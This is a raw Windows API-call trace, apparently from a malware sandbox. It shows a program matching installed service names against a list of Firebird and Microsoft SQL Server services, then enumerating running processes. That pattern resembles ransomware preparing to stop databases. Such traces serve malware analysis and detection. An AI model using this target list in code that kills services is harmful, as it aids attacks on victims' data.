	[0045.516] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0045.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0045.516] lstrlenW (lpString="Dhcp") returned 4
	[0045.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0045.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0045.516] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0045.516] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0045.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0045.516] lstrlenW (lpString="Dnscache") returned 8
	[0045.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0045.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0045.516] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0045.516] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0045.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0045.516] lstrlenW (lpString="DoSvc") returned 5
	[0045.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0045.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0045.516] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0045.517] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0045.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0045.517] lstrlenW (lpString="DPS") returned 3
	[0045.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0045.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0045.517] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0045.517] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0045.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0045.517] lstrlenW (lpString="DusmSvc") returned 7
	[0045.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0045.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0045.517] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0045.517] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0045.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0045.517] lstrlenW (lpString="EventLog") returned 8
	[0045.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0045.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0045.517] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0045.517] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0045.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0045.517] lstrlenW (lpString="EventSystem") returned 11
	[0045.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0045.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0045.517] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0045.517] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0045.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0045.517] lstrlenW (lpString="FontCache") returned 9
	[0045.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0045.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0045.517] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0045.517] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0045.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0045.517] lstrlenW (lpString="gpsvc") returned 5
	[0045.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0045.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0045.517] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0045.517] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0045.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0045.518] lstrlenW (lpString="iphlpsvc") returned 8
	[0045.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0045.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0045.518] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0045.518] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0045.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0045.518] lstrlenW (lpString="KeyIso") returned 6
	[0045.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0045.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0045.518] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0045.518] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0045.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0045.518] lstrlenW (lpString="LanmanServer") returned 12
	[0045.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0045.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0045.518] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0045.518] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0045.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0045.518] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0045.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0045.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0045.518] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0045.518] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0045.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0045.518] lstrlenW (lpString="lfsvc") returned 5
	[0045.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0045.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0045.518] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0045.518] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0045.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0045.518] lstrlenW (lpString="lmhosts") returned 7
	[0045.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0045.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0045.518] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0045.518] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0045.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0045.519] lstrlenW (lpString="LSM") returned 3
	[0045.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0045.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0045.519] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0045.519] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0045.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0045.519] lstrlenW (lpString="MpsSvc") returned 6
	[0045.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0045.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0045.519] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0045.519] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0045.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0045.519] lstrlenW (lpString="NcbService") returned 10
	[0045.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0045.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0045.519] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0045.519] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0045.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0045.519] lstrlenW (lpString="netprofm") returned 8
	[0045.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0045.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0045.519] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0045.519] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0045.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0045.519] lstrlenW (lpString="NlaSvc") returned 6
	[0045.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0045.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0045.519] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0045.519] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0045.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0045.519] lstrlenW (lpString="nsi") returned 3
	[0045.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0045.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0045.519] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0045.519] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0045.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0045.519] lstrlenW (lpString="PcaSvc") returned 6
	[0045.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0045.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0045.520] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0045.520] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0045.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0045.520] lstrlenW (lpString="PlugPlay") returned 8
	[0045.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0045.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0045.520] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0045.520] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0045.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0045.520] lstrlenW (lpString="Power") returned 5
	[0045.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0045.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0045.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0045.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0045.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0045.520] lstrlenW (lpString="ProfSvc") returned 7
	[0045.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0045.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0045.520] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0045.520] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0045.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0045.520] lstrlenW (lpString="RpcEptMapper") returned 12
	[0045.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0045.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0045.520] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0045.520] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0045.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0045.520] lstrlenW (lpString="RpcSs") returned 5
	[0045.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0045.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0045.520] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0045.520] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0045.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0045.520] lstrlenW (lpString="SamSs") returned 5
	[0045.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0045.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0045.521] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0045.521] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0045.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0045.521] lstrlenW (lpString="Schedule") returned 8
	[0045.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0045.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0045.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0045.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0045.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0045.521] lstrlenW (lpString="SecurityHealthService") returned 21
	[0045.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0045.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0045.521] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0045.521] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0045.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0045.521] lstrlenW (lpString="SENS") returned 4
	[0045.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0045.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0045.521] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0045.521] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0045.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0045.521] lstrlenW (lpString="ShellHWDetection") returned 16
	[0045.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0045.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0045.521] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0045.521] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0045.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0045.521] lstrlenW (lpString="Spooler") returned 7
	[0045.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0045.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0045.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0045.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0045.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0045.522] lstrlenW (lpString="SSDPSRV") returned 7
	[0045.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0045.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0045.522] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0045.522] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0045.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0045.522] lstrlenW (lpString="StateRepository") returned 15
	[0045.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0045.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0045.522] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0045.522] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0045.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0045.522] lstrlenW (lpString="SysMain") returned 7
	[0045.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0045.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0045.522] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0045.522] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0045.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0045.522] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0045.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0045.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0045.522] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0045.522] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0045.522] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db700 | out: hHeap=0x650000) returned 1
	[0045.522] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e0
	[0045.526] Process32FirstW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0045.528] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0045.529] lstrlenW (lpString="System") returned 6
	[0045.529] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0045.529] lstrlenW (lpString="smss.exe") returned 8
	[0045.529] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0045.530] lstrlenW (lpString="csrss.exe") returned 9
	[0045.530] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0045.531] lstrlenW (lpString="wininit.exe") returned 11
	[0045.531] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0045.531] lstrlenW (lpString="csrss.exe") returned 9
	[0045.532] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0045.532] lstrlenW (lpString="winlogon.exe") returned 12
	[0045.532] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0045.533] lstrlenW (lpString="services.exe") returned 12
	[0045.533] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0045.534] lstrlenW (lpString="lsass.exe") returned 9
	[0045.534] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.534] lstrlenW (lpString="svchost.exe") returned 11
	[0045.534] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0045.535] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0045.535] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0045.536] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0045.536] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.536] lstrlenW (lpString="svchost.exe") returned 11
	[0045.536] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0045.537] lstrlenW (lpString="dwm.exe") returned 7
	[0045.537] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.538] lstrlenW (lpString="svchost.exe") returned 11
	[0045.538] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.538] lstrlenW (lpString="svchost.exe") returned 11
	[0045.538] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.539] lstrlenW (lpString="svchost.exe") returned 11
	[0045.539] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.540] lstrlenW (lpString="svchost.exe") returned 11
	[0045.540] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.540] lstrlenW (lpString="svchost.exe") returned 11
	[0045.540] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.541] lstrlenW (lpString="svchost.exe") returned 11
	[0045.541] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.542] lstrlenW (lpString="svchost.exe") returned 11
	[0045.542] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.543] lstrlenW (lpString="svchost.exe") returned 11
	[0045.543] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
